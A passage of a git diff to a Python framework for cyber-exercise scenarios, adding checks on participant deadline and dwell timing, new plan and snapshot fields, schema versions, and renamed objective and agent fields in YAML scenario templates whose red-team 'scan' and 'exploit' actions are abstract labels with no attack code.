assessment.native_execution != disposition: + raise ValueError("temporal native disposition contradicts admission") + _require_native_temporal_evidence(event, context, assessment) + if not _assessment_matches_context(context, assessment, clock): + raise ValueError("temporal assessment differs from its bound context or clock history") + observed_clock = _assessment_clock(clock, assessment) + expected = assess_temporal_guarantee( + context, + assessment.evidence, + event.observation_boundary_address, + observed_clock, + native_execution=assessment.native_execution, + ) + if expected != assessment: + raise ValueError("temporal assessment contradicts its evidence") + + +def _require_native_temporal_evidence( + event: "ParticipantBehaviorHistoryEventModel", + context: ParticipantTemporalExecutionContextModel, + assessment: ParticipantTemporalAssessmentModel, +) -> None: + if assessment.native_execution != "reported" or context.binding.temporal_kind != "deadline": + return + native_evidence = ( + tuple(proof for proof in event.action_result.temporal_evidence if proof.context == context) + if event.action_result is not None + else () + ) + if native_evidence != assessment.evidence: + raise ValueError("temporal assessment evidence differs from the native result") + + +def _assessment_matches_context( + context: ParticipantTemporalExecutionContextModel, + assessment: ParticipantTemporalAssessmentModel, + clock: RuntimeClockStateModel, +) -> bool: + return assessment.context == context and context.clock_sequence <= assessment.evaluation_sequence < len( + clock.history + ) + + +def _assessment_clock( + clock: RuntimeClockStateModel, + assessment: ParticipantTemporalAssessmentModel, +) -> RuntimeClockStateModel: + point = clock.history[assessment.evaluation_sequence] + return clock.model_copy( + update={ + "coordinate": point.resulting, + "state": point.resulting_state, + "sequence": point.sequence, + "history": clock.history[: point.sequence + 1], + } + ) + + +def _require_temporal_event( + event: "ParticipantBehaviorHistoryEventModel", + attempt: "ParticipantBehaviorHistoryEventModel | None", + clocks: Mapping[str, RuntimeClockStateModel], +) -> None: + if attempt is None or event.temporal_contexts != attempt.temporal_contexts: + raise ValueError("temporal context changed after action admission") + contexts = [item.shared_time for item in event.temporal_contexts if item.shared_time is not None] + for context in contexts: + _context_clock(context, event, clocks) + if event.event_type != "observation_emitted": + if event.temporal_assessments: + raise ValueError("temporal assessments belong on the terminal observation") + return + _require_terminal_assessments(event, attempt, contexts, clocks) + + +def _require_terminal_assessments( + event: "ParticipantBehaviorHistoryEventModel", + attempt: "ParticipantBehaviorHistoryEventModel", + contexts: Sequence[ParticipantTemporalExecutionContextModel], + clocks: Mapping[str, RuntimeClockStateModel], +) -> None: + if len(event.temporal_assessments) != len(contexts): + raise ValueError("temporal terminal observation must assess every bound guarantee") + proofs = event.action_result.temporal_evidence if event.action_result is not None else () + violations = temporal_evidence_scope_violations(contexts, proofs, event.observation_boundary_address) + if violations: + raise ValueError(violations[0]) + disposition: NativeExecution = "not_dispatched" if attempt.admission_disposition == "rejected" else "reported" + for context, assessment in zip(contexts, event.temporal_assessments, strict=True): + _require_temporal_assessment(event, context, assessment, clocks[context.binding.clock_address], disposition) + + +def _require_temporal_history( + participant: str, + history: Sequence[object], + clocks: Mapping[str, RuntimeClockStateModel], +) -> None: + from .contracts.participant_runtime import ParticipantBehaviorHistoryEventModel + + attempts = {} + completed = set() + for raw in history: + record = _temporal_history_record(raw, attempts, ParticipantBehaviorHistoryEventModel) + if record is None: + continue + _record_temporal_history_event(record, participant, attempts, completed, clocks) + if completed != set(attempts): + raise ValueError("temporal action attempt has no terminal assessment") + + +def _temporal_history_record( + raw: object, attempts: Mapping[object, object], model: object +) -> tuple[object, object] | None: + record = raw.model_dump(mode="json") if isinstance(raw, model) else raw + key = (record.get("episode_id"), record.get("action_instance_id")) + explicit = record.get("temporal_assessments") or any( + item.get("shared_time") for item in record.get("temporal_contexts", ()) + ) + return (key, model.model_validate(record)) if key in attempts or explicit else None + + +def _record_temporal_history_event( + record: tuple[object, object], + participant: str, + attempts: dict[object, object], + completed: set[object], + clocks: Mapping[str, RuntimeClockStateModel], +) -> None: + key, event = record + if event.participant_address != participant: + raise ValueError("temporal history is stored under another participant") + if event.event_type == "action_attempted": + if key in attempts: + raise ValueError("temporal action attempt identity is reused") + attempts[key] = event + _require_temporal_event(event, attempts.get(key), clocks) + if event.event_type == "observation_emitted": + if key in completed: + raise ValueError("temporal attempt has multiple terminal observations") + completed.add(key) + + +def require_participant_temporal_history(snapshot: object) -> None: + """Validate full snapshots; legacy records retain their existing contract.""" + + clocks = getattr(getattr(snapshot, "time_model_state", None), "clocks", {}) + for participant, history in getattr(snapshot, "participant_behavior_history", {}).items(): + _require_temporal_history(participant, history, clocks) diff --git a/implementations/python/packages/raes_contracts/participant_temporal_assessment.py b/implementations/python/packages/raes_contracts/participant_temporal_assessment.py new file mode 100644 index 000000000..c3e51f65b --- /dev/null +++ b/implementations/python/packages/raes_contracts/participant_temporal_assessment.py @@ -0,0 +1,182 @@ +"""Small, typed checks used to assess participant temporal guarantees.""" + +from collections.abc import Sequence +from typing import Literal + +from .contracts.participant_temporal import ( + ParticipantTemporalEvidenceModel, + ParticipantTemporalExecutionContextModel, +) +from .contracts.time_model import RuntimeClockStateModel, TimeCoordinateModel + +TemporalStatus = Literal["met", "missed", "indeterminate"] +NativeExecution = Literal["not_dispatched", "reported"] +TemporalResult = tuple[TemporalStatus, str] +CoordinateKey = tuple[int, int, int] + + +def coordinate_key(coordinate: TimeCoordinateModel) -> CoordinateKey: + return coordinate.segment, coordinate.tick, coordinate.microstep + + +def temporal_evidence_scope_violations( + contexts: Sequence[ParticipantTemporalExecutionContextModel], + proofs: Sequence[ParticipantTemporalEvidenceModel], + observation_boundary: str, +) -> tuple[str, ...]: + """Return the first proof-scope violation, if any.""" + + violation = _temporal_evidence_scope_violation(contexts, proofs, observation_boundary) + return (violation,) if violation is not None else () + + +def _temporal_evidence_scope_violation( + contexts: Sequence[ParticipantTemporalExecutionContextModel], + proofs: Sequence[ParticipantTemporalEvidenceModel], + observation_boundary: str, +) -> str | None: + seen: set[str] = set() + for proof in proofs: + violation = _proof_scope_violation(proof, contexts, seen, observation_boundary) + if violation is not None: + return violation + return None + + +def _proof_scope_violation( + proof: ParticipantTemporalEvidenceModel, + contexts: Sequence[ParticipantTemporalExecutionContextModel], + seen: set[str], + observation_boundary: str, +) -> str | None: + temporal_id = proof.context.binding.temporal_id + if proof.context not in contexts: + violation = "temporal evidence must match an exact bound request context" + elif temporal_id in seen: + violation = "temporal evidence must not duplicate a bound guarantee" + elif proof.observation_boundary_address != observation_boundary: + violation = "temporal evidence must use the authorized observation boundary" + else: + seen.add(temporal_id) + violation = None + return violation + + +def deadline_result( + context: ParticipantTemporalExecutionContextModel, + proofs: Sequence[ParticipantTemporalEvidenceModel], + boundary: str, + clock: RuntimeClockStateModel, + native_execution: NativeExecution, +) -> TemporalResult: + """Assess a deadline using one event proof from the authoritative clock.""" + + proof = proofs[0] if len(proofs) == 1 else None + if native_execution == "not_dispatched": + result = _undispatched_deadline_result(context) + elif proof is None or not _valid_deadline_proof(context, proof, boundary, clock): + result = ("indeterminate", "Missing or invalid evidence for the bound action event and shared-time context.") + elif coordinate_key(proof.coordinate) <= coordinate_key(context.bound_end): + result = ("met", "The selected action event is evidenced at or before the authored deadline.") + else: + result = ("missed", "The selected action event is evidenced after the authored deadline.") + return result + + +def _undispatched_deadline_result(context: ParticipantTemporalExecutionContextModel) -> TemporalResult: + if coordinate_key(context.submitted_at) > coordinate_key(context.bound_end): + return "missed", "The shared clock is past the authored deadline before dispatch." + return "indeterminate", "The action was not dispatched; its selected event did not occur." + + +def _valid_deadline_proof( + context: ParticipantTemporalExecutionContextModel, + proof: ParticipantTemporalEvidenceModel, + boundary: str, + clock: RuntimeClockStateModel, +) -> bool: + coordinate = proof.coordinate + if coordinate is None: + return False + return ( + proof.evidence_mode == "event" + and proof.observation_boundary_address == boundary + and proof.event_point == context.binding.event_point + and coordinate.segment == context.submitted_at.segment == clock.coordinate.segment + and coordinate_key(context.submitted_at) <= coordinate_key(coordinate) <= coordinate_key(clock.coordinate) + ) + + +def dwell_result( + context: ParticipantTemporalExecutionContextModel, + proofs: Sequence[ParticipantTemporalEvidenceModel], + clock: RuntimeClockStateModel, +) -> TemporalResult: + """Assess continuous dwell coverage without treating paused time as evidence.""" + + start, end = _dwell_bounds(context) + if _clock_paused_during(clock, start, end): + return ( + "indeterminate", + "The dwell interval crosses a pause; frozen shared time is not continuous condition evidence.", + ) + proof = proofs[0] if len(proofs) == 1 else None + if proof is not None and _valid_dwell_scope(context, proof, clock, end): + coverage = _dwell_coverage_result(proof, start, end) + if coverage is not None: + return coverage + return "indeterminate", "Missing or invalid continuous evidence for the bound condition and interval." + + +def _dwell_bounds(context: ParticipantTemporalExecutionContextModel) -> tuple[CoordinateKey, CoordinateKey]: + start = context.bound_start + if start is None: + raise ValueError("dwell context is missing its required start bound") + return coordinate_key(start), coordinate_key(context.bound_end) + + +def _clock_paused_during(clock: RuntimeClockStateModel, start: CoordinateKey, end: CoordinateKey) -> bool: + return any(event.kind == "pause" and start <= coordinate_key(event.resulting) < end for event in clock.history) + + +def _valid_dwell_scope( + context: ParticipantTemporalExecutionContextModel, + proof: ParticipantTemporalEvidenceModel, + clock: RuntimeClockStateModel, + end: CoordinateKey, +) -> bool: + binding = context.binding + return ( + proof.evidence_mode == "continuous" + and proof.condition_precondition_id == binding.condition_precondition_id + and proof.observation_boundary_address == binding.observation_boundary_address + and context.bound_start is not None + and context.bound_start.segment == context.bound_end.segment == context.submitted_at.segment + and context.submitted_at.segment == clock.coordinate.segment + and end <= coordinate_key(context.submitted_at) + ) + + +def _dwell_coverage_result( + proof: ParticipantTemporalEvidenceModel, + start: CoordinateKey, + end: CoordinateKey, +) -> TemporalResult | None: + position = start + holds = True + valid = bool(proof.coverage) + for interval in proof.coverage: + left, right = coordinate_key(interval.start), coordinate_key(interval.end) + if left != position or not left < right <= end or left[0] != right[0]: + valid = False + else: + position = right + holds = holds and interval.condition_holds + valid = valid and position == end + if not valid: + return None + return ( + ("met", "Continuous coverage attests the condition throughout the authored interval.") + if holds + else ("missed", "The condition did not hold throughout the authored interval.") + ) diff --git a/implementations/python/packages/raes_contracts/plan_effects.py b/implementations/python/packages/raes_contracts/plan_effects.py index 4a0d19a13..e1176589f 100644 --- a/implementations/python/packages/raes_contracts/plan_effects.py +++ b/implementations/python/packages/raes_contracts/plan_effects.py @@ -8,7 +8,9 @@ def plan_can_mutate(plan: object) -> bool: if isinstance(plan, ProvisioningPlan) and plan.preparation is not None: return True - return isinstance(plan, (ProvisioningPlan, OrchestrationPlan, EvaluationPlan)) and bool(plan.actionable_operations) + return isinstance(plan, (ProvisioningPlan, OrchestrationPlan, EvaluationPlan)) and bool( + plan.actionable_operations or plan.materialization_source is not None or plan.augmentation_scope_required + ) __all__ = ["plan_can_mutate"] diff --git a/implementations/python/packages/raes_contracts/plan_projection.py b/implementations/python/packages/raes_contracts/plan_projection.py index e3ba2a7fe..5f08e5100 100644 --- a/implementations/python/packages/raes_contracts/plan_projection.py +++ b/implementations/python/packages/raes_contracts/plan_projection.py @@ -96,6 +96,9 @@ def provisioning_plan_model(plan: ProvisioningPlan) -> ProvisioningPlanModel: """Project a provisioning plan into its published contract model.""" return ProvisioningPlanModel( + materialization_source=plan.materialization_source, + augmentation_scope_required=plan.augmentation_scope_required, + purpose=plan.purpose, preparation=plan.preparation, profile_authority=plan.profile_authority, operations=[_plan_operation_model(operation) for operation in plan.operations], @@ -148,6 +151,10 @@ def orchestration_plan_model(plan: OrchestrationPlan) -> OrchestrationPlanModel: """Project an orchestration plan into its published contract model.""" return OrchestrationPlanModel( + operation_id=plan.operation_id, + materialization_source=plan.materialization_source, + augmentation_scope_required=plan.augmentation_scope_required, + purpose=plan.purpose, operations=[_plan_operation_model(operation) for operation in plan.operations], startup_order=list(plan.startup_order), diagnostics=_diagnostic_payloads(plan.diagnostics), @@ -159,6 +166,10 @@ def evaluation_plan_model(plan: EvaluationPlan) -> EvaluationPlanModel: """Project an evaluation plan into its published contract model.""" return EvaluationPlanModel( + operation_id=plan.operation_id, + materialization_source=plan.materialization_source, + augmentation_scope_required=plan.augmentation_scope_required, + purpose=plan.purpose, operations=[_plan_operation_model(operation) for operation in plan.operations], startup_order=list(plan.startup_order), diagnostics=_diagnostic_payloads(plan.diagnostics), diff --git a/implementations/python/packages/raes_contracts/planning.py b/implementations/python/packages/raes_contracts/planning.py index 088df4c45..e551a8497 100644 --- a/implementations/python/packages/raes_contracts/planning.py +++ b/implementations/python/packages/raes_contracts/planning.py @@ -1,10 +1,9 @@ """Shared runtime planning contracts and safe planned-resource readers. -Backend and provisioner implementations should use the named -``planned_*`` accessors in this module instead of traversing a -:class:`PlannedResource` payload directly. The accessors are total, perform no -validation or normalization, and return ``None`` when a requested surface is -missing or does not apply to the resource's domain and type. +Backend and provisioner implementations should use the named ``planned_*`` +accessors instead of traversing a :class:`PlannedResource` payload directly. +They perform no validation or normalization and return ``None`` when a requested +surface is missing or does not apply to the resource's domain and type. """ from __future__ import annotations @@ -13,7 +12,7 @@ from collections.abc import Mapping from dataclasses import dataclass, field from enum import Enum -from typing import TYPE_CHECKING, Any +from typing import TYPE_CHECKING, Any, Literal from raes.explicitness import ExplicitnessProvenance @@ -22,12 +21,15 @@ from raes_contracts.bounded_domains import DomainDescriptor from raes_contracts.compute_substrate import validate_compute_substrate_constraint, validate_planned_substrate_targets from raes_contracts.diagnostics import Diagnostic +from raes_contracts.materialization import MaterializationSource from raes_contracts.observation_demand import EffectiveObservationDemand from raes_contracts.realization_preparation import RealizationPreparationAuthority from raes_contracts.realization_structure import RealizationConstraintDocument, RealizationStructure from raes_contracts.run_scope import PlanScope, _validate_optional_run_id from raes_contracts.vocabulary import ObservationStrength, RealizationVerificationScope +_INVALID_PLAN_PURPOSE = "Invalid plan purpose" + if TYPE_CHECKING: from raes_contracts.contracts import RealizationEnvelopeIdentityModel from raes_contracts.domain_profiles import DomainProfileBindingModel @@ -372,13 +374,17 @@ class ProvisioningPlan: observation_demands: tuple[EffectiveObservationDemand, ...] = () preparation: RealizationPreparationAuthority | None = None profile_authority: PlanProfileAuthority | None = None - # Value-free run/instance scope identity (issue #1276). Carries no generated - # bytes; admission maps run_id to the ``run:`` authority scope so per-run - # and per-instantiation generated values reconcile against the correct scope. + # Value-free run/instance identity (issue #1276), mapped to ``run:`` + # authority for per-run and per-instantiation generated-value reconciliation. run_id: str | None = None instantiation_id: str | None = None + purpose: Literal["execution", "inspection"] = "execution" + materialization_source: MaterializationSource | None = None + augmentation_scope_required: bool = False def __post_init__(self) -> None: + if self.purpose not in {"execution", "inspection"}: + raise ValueError(_INVALID_PLAN_PURPOSE) if self.operation_id is not None and not self.operation_id.strip(): raise ValueError("ProvisioningPlan operation_id must be non-empty when present") _validate_optional_run_id(self.run_id, owner="ProvisioningPlan run_id") @@ -404,8 +410,16 @@ class OrchestrationPlan: startup_order: list[str] = field(default_factory=list) diagnostics: list[Diagnostic] = field(default_factory=list) observation_demands: tuple[EffectiveObservationDemand, ...] = () + purpose: Literal["execution", "inspection"] = "execution" + materialization_source: MaterializationSource | None = None + augmentation_scope_required: bool = False + operation_id: str | None = None def __post_init__(self) -> None: + if self.operation_id is not None and not self.operation_id.strip(): + raise ValueError("operation_id must be non-empty when present") + if self.purpose not in {"execution", "inspection"}: + raise ValueError(_INVALID_PLAN_PURPOSE) _validate_plan_addresses( self.resources, self.operations, @@ -431,8 +445,16 @@ class EvaluationPlan: # resolves a random_value generated artifact against its original run binding. run_id: str | None = None instantiation_id: str | None = None + purpose: Literal["execution", "inspection"] = "execution" + materialization_source: MaterializationSource | None = None + augmentation_scope_required: bool = False + operation_id: str | None = None def __post_init__(self) -> None: + if self.operation_id is not None and not self.operation_id.strip(): + raise ValueError("operation_id must be non-empty when present") + if self.purpose not in {"execution", "inspection"}: + raise ValueError(_INVALID_PLAN_PURPOSE) _validate_plan_addresses( self.resources, self.operations, diff --git a/implementations/python/packages/raes_contracts/realization_operational_observation.py b/implementations/python/packages/raes_contracts/realization_operational_observation.py index c464b8eff..ba5c4bc56 100644 --- a/implementations/python/packages/raes_contracts/realization_operational_observation.py +++ b/implementations/python/packages/raes_contracts/realization_operational_observation.py @@ -9,6 +9,7 @@ from raes_contracts.diagnostics import Diagnostic from raes_contracts.realization_envelope import ObservationStrength, RealizationConcern from raes_contracts.realization_observation_demand import compute_substrate_demand_applies +from raes_contracts.vocabulary import RealizationVerificationScope, observation_requirement_satisfied if TYPE_CHECKING: from raes_contracts.realization_observation import RealizationObservation @@ -123,6 +124,12 @@ def _prior_disclosure_reusable( disclosure.field_path != constraint.field_path or disclosure.envelope_digest != envelope.digest or disclosure.configuration_digest != envelope.configuration.configuration_digest + or not observation_requirement_satisfied( + actual_scope=disclosure.verification_scope, + actual_source=disclosure.observation_strength, + required_scope=RealizationVerificationScope.PRESENCE, + required_source=None, + ) ): return False return constraint.value_domain is None or scalar_in_domain(disclosure.observed_value, constraint.value_domain) @@ -140,8 +147,11 @@ def _native_compute_substrate_observation_valid( def _native_observation_shape_valid(observation: object) -> bool: - valid_source = ( - isinstance(observation.source, ObservationStrength) and observation.source is not ObservationStrength.NONE + valid_source = isinstance(observation.source, ObservationStrength) and observation_requirement_satisfied( + actual_scope=RealizationVerificationScope.PRESENCE, + actual_source=observation.source, + required_scope=RealizationVerificationScope.PRESENCE, + required_source=None, ) valid_version = isinstance(observation.observer_version, str) and bool(observation.observer_version.strip()) valid_sequence = ( diff --git a/implementations/python/packages/raes_contracts/runtime_state.py b/implementations/python/packages/raes_contracts/runtime_state.py index 1bccfe13e..8bd4c7b09 100644 --- a/implementations/python/packages/raes_contracts/runtime_state.py +++ b/implementations/python/packages/raes_contracts/runtime_state.py @@ -11,6 +11,7 @@ from raes_contracts._snapshot_updates import _snapshot_updates, _validate_snapshot_update_keys from raes_contracts.addressing import require_compiled_address from raes_contracts.diagnostics import Diagnostic, Severity, portable_diagnostic_payload +from raes_contracts.materialization import MaterializationSubmission, require_materialization_records from raes_contracts.operation_lifecycle import ( OperationAdmissionContext, OperationKind, @@ -29,6 +30,7 @@ if TYPE_CHECKING: from raes_contracts.artifact_requirements import ArtifactSatisfactionDisclosureModel from raes_contracts.contracts import RealizationEnvelopeIdentityModel + from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord from raes_contracts.contracts.time_model import TimeRuntimeStateModel from raes_contracts.domain_profiles import DomainProfileBindingModel @@ -92,7 +94,11 @@ class RuntimeSnapshot: participant_behavior_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) participant_control_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) participant_crossing_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) + participant_control_evaluation_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) + mixed_composition_states: dict[str, dict[str, Any]] = field(default_factory=dict) + mixed_composition_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) information_state_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) + participant_outcome_history: dict[str, list[dict[str, Any]]] = field(default_factory=dict) participant_autonomous_execution_states: dict[str, dict[str, Any]] = field(default_factory=dict) participant_execution_services: dict[str, dict[str, Any]] = field(default_factory=dict) participant_resource_budget_states: dict[str, dict[str, Any]] = field(default_factory=dict) @@ -107,10 +113,30 @@ class RuntimeSnapshot: # concerns recorded across this snapshot's result / history surfaces. realization_provenance: tuple[RealizationProvenanceEntry, ...] = () realization_observations: tuple[RealizationObservationDisclosure, ...] = () + materialization_attestations: tuple[MaterializationArchiveRecord, ...] = () realization_envelope: RealizationEnvelopeIdentityModel | None = None metadata: dict[str, Any] = field(default_factory=dict) def __post_init__(self) -> None: + from .mixed_runtime_history import iter_mixed_runtime_snapshot_violations + from .participant_control_evaluation_history import ( + iter_participant_control_evaluation_snapshot_violations, + ) + from .participant_outcome_history import require_outcome_history + + require_outcome_history(self.participant_outcome_history, self.participant_behavior_history) + evaluation_violations = iter_participant_control_evaluation_snapshot_violations( + self.participant_control_evaluation_history + ) + if evaluation_violations: + raise ValueError(evaluation_violations[0][1]) + + violations = list( + iter_mixed_runtime_snapshot_violations(self.mixed_composition_states, self.mixed_composition_history) + ) + if violations: + raise ValueError(violations[0][1]) + require_materialization_records(self.materialization_attestations) for map_key, entry in self.entries.items(): require_compiled_address(map_key, field_name="snapshot map key") if map_key != entry.address: @@ -181,9 +207,14 @@ class ApplyResult: details: dict[str, Any] = field(default_factory=dict) # Transient verification input. Snapshot/store/API codecs never serialize it. operational_realization_observations: tuple[RealizationObservationDisclosure, ...] = () + materialization_attestation: MaterializationSubmission | None = None def __post_init__(self) -> None: - _validate_changed_addresses(self.changed_addresses) + validate_changed_addresses(self.changed_addresses) + if self.materialization_attestation is not None and not isinstance( + self.materialization_attestation, MaterializationSubmission + ): + raise TypeError("materialization attestation requires a typed SDL submission") if not isinstance(self.operational_realization_observations, tuple) or any( not isinstance(item, RealizationObservationDisclosure) for item in self.operational_realization_observations ): @@ -232,7 +263,7 @@ def __post_init__(self) -> None: else: diagnostics = require_operation_terminal_diagnostics(self.state, diagnostics) object.__setattr__(self, "diagnostics", diagnostics) - _validate_changed_addresses(self.changed_addresses) + validate_changed_addresses(self.changed_addresses) def _portable_operation_diagnostics(diagnostics: list[Diagnostic]) -> list[Diagnostic]: @@ -248,7 +279,7 @@ def _portable_operation_diagnostics(diagnostics: list[Diagnostic]) -> list[Diagn ] -def _validate_changed_addresses(addresses: list[str]) -> None: +def validate_changed_addresses(addresses: list[str]) -> None: for address in addresses: require_compiled_address(address, field_name="changed address") if len(addresses) != len(set(addresses)): @@ -276,6 +307,7 @@ class RuntimeSnapshotEnvelope: "RealizationProvenanceEntry", "RuntimeSnapshot", "RuntimeSnapshotEnvelope", + "validate_changed_addresses", "SnapshotEntry", "is_operation_transition_allowed", "operation_terminal_diagnostic", diff --git a/implementations/python/packages/raes_contracts/semantic_comparison.py b/implementations/python/packages/raes_contracts/semantic_comparison.py index 08bb9cc6c..35dab8164 100644 --- a/implementations/python/packages/raes_contracts/semantic_comparison.py +++ b/implementations/python/packages/raes_contracts/semantic_comparison.py @@ -258,11 +258,17 @@ def _validate_rules(self) -> SemanticComparisonProfileModel: raise ValueError("comparison profile must declare the complete closed dependency rule set") if set(self.owner_projection_versions) != set(ArtifactKind): raise ValueError("comparison profile must declare every owner projection version") + revision_two_owners = { + ArtifactKind.SCENARIO, + ArtifactKind.TASK, + ArtifactKind.RUN, + ArtifactKind.STUDY, + } if any( - kind not in {ArtifactKind.SCENARIO, ArtifactKind.TASK} and version != "1" + kind not in revision_two_owners and version != "1" for kind, version in self.owner_projection_versions.items() ): - raise ValueError("only scenario and task owners support projection revision 2") + raise ValueError("the selected owner does not support projection revision 2") return self diff --git a/implementations/python/packages/raes_contracts/versions.py b/implementations/python/packages/raes_contracts/versions.py index e3ee407a0..6619fbf3b 100644 --- a/implementations/python/packages/raes_contracts/versions.py +++ b/implementations/python/packages/raes_contracts/versions.py @@ -36,6 +36,16 @@ WORKFLOW_CANCELLATION_REQUEST_SCHEMA_VERSION = "workflow-cancellation-request/v1" RUNTIME_SNAPSHOT_SCHEMA_VERSION = "runtime-snapshot/v1" OPERATION_SCHEMA_VERSION = "runtime-operation/v1" +BACKEND_OPERATION_REQUEST_SCHEMA_VERSION = "backend-operation-request/v1" +BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION = "backend-operation-capabilities/v1" +BACKEND_OPERATION_CONTROL_SCHEMA_VERSION = "backend-operation-control/v1" +BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION = "backend-operation-response/v1" +BACKEND_OPERATION_CONTRACT_IDS = ( + "backend-operation-request-v1", + "backend-operation-capabilities-v1", + "backend-operation-control-v1", + "backend-operation-response-v1", +) EVALUATION_STATE_SCHEMA_VERSION = "evaluation-result-state/v1" PROPOSITION_TRUTH_RESULT_SCHEMA_VERSION = "proposition-truth-result/v1" SDL_LINEAGE_LEDGER_SCHEMA_VERSION = "sdl-lineage-ledger/v1" @@ -70,6 +80,7 @@ RANDOM_STREAM_PROFILE_SCHEMA_VERSION = "random-stream-profile/v1" RANDOM_STREAM_VECTOR_SCHEMA_VERSION = "random-stream-vector/v1" ADMITTED_TRIAL_PLAN_SCHEMA_VERSION = "admitted-trial-plan/v1" +MIXED_PARTICIPANT_COMPOSITION_PROFILE_SCHEMA_VERSION = "mixed-participant-composition-profile/v1" TRIAL_CLEANUP_PLAN_SCHEMA_VERSION = "trial-cleanup-plan/v1" TRIAL_CLEANUP_RECEIPT_SCHEMA_VERSION = "trial-cleanup-receipt/v1" SCHEDULER_ISOLATION_PROOF_SCHEMA_VERSION = "scheduler-isolation-proof/v1" diff --git a/implementations/python/packages/raes_mcp/tools/authoring/_templates.py b/implementations/python/packages/raes_mcp/tools/authoring/_templates.py index 6eb8f2d00..4b2c9c9c1 100644 --- a/implementations/python/packages/raes_mcp/tools/authoring/_templates.py +++ b/implementations/python/packages/raes_mcp/tools/authoring/_templates.py @@ -131,7 +131,7 @@ objectives: keep-web-available: description: Keep the web application available - entity: blue-team + owner: blue-team success: assertions: [web-healthy] @@ -317,10 +317,27 @@ properties: {protocol: tcp, port: "5432"} # --- Agents --- +action_contracts: + scan: &abstract-action + semantic_version: 1.0.0 + behavioral_granularity: atomic + procedure_basis: authored action intent + realization_profile: abstract + fidelity_claim: intent only, no backend realization claim + preconditions: + - {precondition_id: authorized, precondition_class: authority, description: independently authorized action} + effects: + - effect_id: intent + effect_class: intended_effect + description: declared action intent + target_refs: [nodes.web-server] + failure_classes: [authority_denied, unknown] + exploit: *abstract-action + agents: red-agent: - entity: red-team - actions: [Scan, Exploit] + affiliations: [red-team] + actions: [scan, exploit] initial_knowledge: hosts: [web-server] subnets: [corp-net] @@ -329,15 +346,15 @@ # --- Objectives --- objectives: red-access: - agent: red-agent - actions: [Scan, Exploit] + assigned_participant: red-agent + actions: [scan, exploit] targets: [web-server, sqli] success: assertions: [web-healthy] window: stories: [exercise] blue-defend: - entity: blue-team + owner: blue-team success: assertions: [web-healthy] depends_on: [red-access] diff --git a/implementations/python/packages/raes_mcp/tools/inspection/_references.py b/implementations/python/packages/raes_mcp/tools/inspection/_references.py index 45b0cc918..00a98a024 100644 --- a/implementations/python/packages/raes_mcp/tools/inspection/_references.py +++ b/implementations/python/packages/raes_mcp/tools/inspection/_references.py @@ -182,12 +182,10 @@ def _content_refs(scenario: Scenario) -> dict[tuple[str, str], list[str]]: def _agent_refs(scenario: Scenario) -> dict[tuple[str, str], list[str]]: - # Agents -> entity, accounts, etc. + # Participants -> affiliations, accounts, etc. refs: dict[tuple[str, str], list[str]] = {} for name, agent in scenario.agents.items(): - targets: list[str] = [] - if agent.entity: - targets.append(agent.entity) + targets: list[str] = list(agent.affiliations) if agent.starting_accounts: targets.extend(agent.starting_accounts) if targets: @@ -196,14 +194,15 @@ def _agent_refs(scenario: Scenario) -> dict[tuple[str, str], list[str]]: def _objective_refs(scenario: Scenario) -> dict[tuple[str, str], list[str]]: - # Objectives -> agent/entity, targets, success refs, deps + # Objectives -> assignment/owner, action constraints, targets, success, deps refs: dict[tuple[str, str], list[str]] = {} for name, obj in scenario.objectives.items(): targets: list[str] = [] - if obj.agent: - targets.append(obj.agent) - if obj.entity: - targets.append(obj.entity) + if obj.assigned_participant: + targets.append(obj.assigned_participant) + if obj.owner: + targets.append(obj.owner) + targets.extend(obj.actions) if obj.targets: targets.extend(obj.targets) if obj.depends_on: diff --git a/implementations/python/packages/raes_mcp/tools/inspection/_summary.py b/implementations/python/packages/raes_mcp/tools/inspection/_summary.py index 1e462043a..a366cba70 100644 --- a/implementations/python/packages/raes_mcp/tools/inspection/_summary.py +++ b/implementations/python/packages/raes_mcp/tools/inspection/_summary.py @@ -79,9 +79,11 @@ def _objective_lines(scenario: Scenario) -> list[str]: return [] lines = ["\n--- Objectives ---"] for obj_name, obj in scenario.objectives.items(): - actor = obj.agent or obj.entity deps = f" (depends: {', '.join(obj.depends_on)})" if obj.depends_on else "" - lines.append(f" {obj_name}: actor={actor}{deps}") + lines.append( + f" {obj_name}: owner={obj.owner or 'none'}, " + f"assigned_participant={obj.assigned_participant or 'none'}{deps}" + ) return lines diff --git a/implementations/python/packages/raes_mcp/tools/reference.py b/implementations/python/packages/raes_mcp/tools/reference.py index a41e769d1..23cd92aac 100644 --- a/implementations/python/packages/raes_mcp/tools/reference.py +++ b/implementations/python/packages/raes_mcp/tools/reference.py @@ -317,7 +317,7 @@ def sdl_validation_reference() -> str: objectives: keep-web-alive: description: Keep the web application available - entity: blue-team + owner: blue-team success: assertions: [web-alive] diff --git a/implementations/python/packages/raes_operations/run_artifacts.py b/implementations/python/packages/raes_operations/run_artifacts.py index 8f83f6428..56cd6765c 100644 --- a/implementations/python/packages/raes_operations/run_artifacts.py +++ b/implementations/python/packages/raes_operations/run_artifacts.py @@ -15,20 +15,27 @@ from __future__ import annotations import contextlib +import hashlib import json import os import re +import stat import tempfile from collections.abc import Mapping from pathlib import Path -from typing import Any +from typing import TYPE_CHECKING, Any +from uuid import uuid4 + +if TYPE_CHECKING: + from raes_contracts.contracts.materialization_attestation import MaterializationArchiveRecord + from raes_contracts.materialization import MaterializationSubmission RUN_ID_LABEL_PATTERN = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_.-]{0,127}$") def is_valid_run_id_label(run_id: str) -> bool: """Return True when ``run_id`` is a safe, containment-validated filesystem label.""" - return bool(RUN_ID_LABEL_PATTERN.match(run_id)) + return bool(RUN_ID_LABEL_PATTERN.fullmatch(run_id)) def portable_artifact_ref(path: Path) -> str: @@ -74,3 +81,147 @@ def atomic_write_json_artifact(path: Path, payload: Mapping[str, Any]) -> None: with contextlib.suppress(OSError): os.unlink(tmp_name) raise + + +def _materialization_record_path(record: MaterializationArchiveRecord) -> Path: + relative = Path(record.reference.ref_path) + expected = Path("runs") / record.run_id / "attestations" / f"{record.reference.ref_id}.sdl" + if ( + not is_valid_run_id_label(record.run_id) + or not 